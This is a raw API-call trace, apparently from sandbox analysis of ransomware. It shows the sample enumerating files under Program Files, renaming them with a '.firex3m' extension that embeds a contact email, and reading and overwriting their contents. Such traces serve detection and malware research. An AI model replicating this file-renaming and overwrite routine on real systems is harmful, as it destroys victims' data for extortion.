MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.269] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x71249d00, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5040 [0235.269] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0235.269] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\is-is\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0235.270] GetProcessHeap () returned 0x630000 [0235.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0235.270] GetProcessHeap () returned 0x630000 [0235.270] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0235.270] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.270] ReadFile (in: hFile=0x640, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x623ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.335] GetProcessHeap () returned 0x630000 [0235.335] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0235.335] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.335] WriteFile (in: hFile=0x640, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x623ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.335] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.336] WriteFile (in: hFile=0x640, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.336] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.336] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.336] CloseHandle (hObject=0x640) returned 1 [0235.336] GetProcessHeap () returned 0x630000 [0235.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0235.336] GetProcessHeap () returned 0x630000 [0235.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0235.336] GetProcessHeap () returned 0x630000 [0235.336] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0235.336] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.336] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\is-IS\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f361f6d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5237c170, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x90c7496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5340 [0235.336] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0235.336] Sleep (dwMilliseconds=0x1) [0235.394] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml") returned 1 [0235.394] GetProcessHeap () returned 0x630000 [0235.394] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5054) returned 0x6fe3bb0 [0235.394] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.395] CloseHandle (hObject=0x6ec) returned 1 [0235.395] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.395] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.396] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.396] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5540 [0235.396] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0235.397] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-ar\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.397] GetProcessHeap () returned 0x630000 [0235.397] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d1d08 [0235.397] GetProcessHeap () returned 0x630000 [0235.397] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x281) returned 0x73d1fb0 [0235.397] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.397] ReadFile (in: hFile=0x6ec, lpBuffer=0x73d1d08, nNumberOfBytesToRead=0x260, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1d08*, lpNumberOfBytesRead=0x623ff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.446] GetProcessHeap () returned 0x630000 [0235.446] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0235.446] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.447] WriteFile (in: hFile=0x6ec, lpBuffer=0x73d1fb0*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d1fb0*, lpNumberOfBytesWritten=0x623ff0c*=0x260, lpOverlapped=0x0) returned 1 [0235.447] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.447] WriteFile (in: hFile=0x6ec, lpBuffer=0x73d220f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d220f*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.447] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.447] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.447] CloseHandle (hObject=0x6ec) returned 1 [0235.447] GetProcessHeap () returned 0x630000 [0235.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d1fb0 | out: hHeap=0x630000) returned 1 [0235.447] GetProcessHeap () returned 0x630000 [0235.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d1d08 | out: hHeap=0x630000) returned 1 [0235.447] GetProcessHeap () returned 0x630000 [0235.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0235.447] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52487426, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x284, dwReserved0=0x623fd20, dwReserved1=0x73d1d08, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0235.447] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.448] Sleep (dwMilliseconds=0x1) [0235.532] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml", len=0x59 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml") returned 1 [0235.532] GetProcessHeap () returned 0x630000 [0235.532] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5040) returned 0x6fe3bb0 [0235.533] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.533] Sleep (dwMilliseconds=0x1) [0235.555] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html", len=0x6f | out: pbstr=0x623ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html") returned 1 [0235.555] GetProcessHeap () returned 0x630000 [0235.555] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5024) returned 0x6fe3bb0 [0235.555] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0235.595] CloseHandle (hObject=0x6ec) returned 1 [0235.595] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.595] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.716] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fc6c | out: lpFindFileData=0x623fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x906e, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d51c0 [0235.754] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.971] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0235.971] GetProcessHeap () returned 0x630000 [0235.971] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x74c8100 [0235.972] GetProcessHeap () returned 0x630000 [0235.972] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x9081) returned 0x74d1190 [0235.972] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.972] ReadFile (in: hFile=0x718, lpBuffer=0x74c8100, nNumberOfBytesToRead=0x9060, lpNumberOfBytesRead=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74c8100*, lpNumberOfBytesRead=0x623ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.035] GetProcessHeap () returned 0x630000 [0242.035] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x745b928 [0242.035] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.035] WriteFile (in: hFile=0x718, lpBuffer=0x74d1190*, nNumberOfBytesToWrite=0x9060, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d1190*, lpNumberOfBytesWritten=0x623ff0c*=0x9060, lpOverlapped=0x0) returned 1 [0242.035] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.035] WriteFile (in: hFile=0x718, lpBuffer=0x74da1ef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x74da1ef*, lpNumberOfBytesWritten=0x623ff0c*=0x20, lpOverlapped=0x0) returned 1 [0242.035] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0242.035] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x623ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x623ff0c*=0x4, lpOverlapped=0x0) returned 1 [0242.036] CloseHandle (hObject=0x718) returned 1 [0242.036] GetProcessHeap () returned 0x630000 [0242.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74d1190 | out: hHeap=0x630000) returned 1 [0242.036] GetProcessHeap () returned 0x630000 [0242.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74c8100 | out: hHeap=0x630000) returned 1 [0242.036] GetProcessHeap () returned 0x630000 [0242.036] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b928 | out: hHeap=0x630000) returned 1 [0243.186] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x623ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0243.186] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x623fcc4 | out: lpFindFileData=0x623fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x5636fd0e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x9092, dwReserved0=0x90c7496, dwReserved1=0x74c80f8, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4e40 [0243.186] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0243.186] Sleep (dwMilliseconds=0x1) [0243.193] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-256.png", len=0x7e | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-256.png") returned 1 [0243.193] GetProcessHeap () returned 0x630000 [0243.193] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52d0) returned 0x6fe3bb0 [0243.194] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\Icon.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\icon.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.208] Sleep (dwMilliseconds=0x1) [0243.246] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-256.png", len=0x8d | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-256.png") returned 1 [0243.246] GetProcessHeap () returned 0x630000 [0243.246] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5238) returned 0x6fe3bb0 [0243.246] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Icon.targetsize-256.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\icon.targetsize-256.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.246] Sleep (dwMilliseconds=0x1) [0243.258] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave_icon.png", len=0x73 | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave_icon.png") returned 1 [0243.258] GetProcessHeap () returned 0x630000 [0243.258] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5200) returned 0x6fe3bb0 [0243.259] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Wave_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\wave_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.267] Sleep (dwMilliseconds=0x1) [0243.271] SysReAllocStringLen (in: pbstr=0x623ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun.png", len=0x6d | out: pbstr=0x623ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun.png") returned 1 [0243.271] GetProcessHeap () returned 0x630000 [0243.271] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e8) returned 0x6fe3bb0 [0243.271] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Sun.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\sun.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 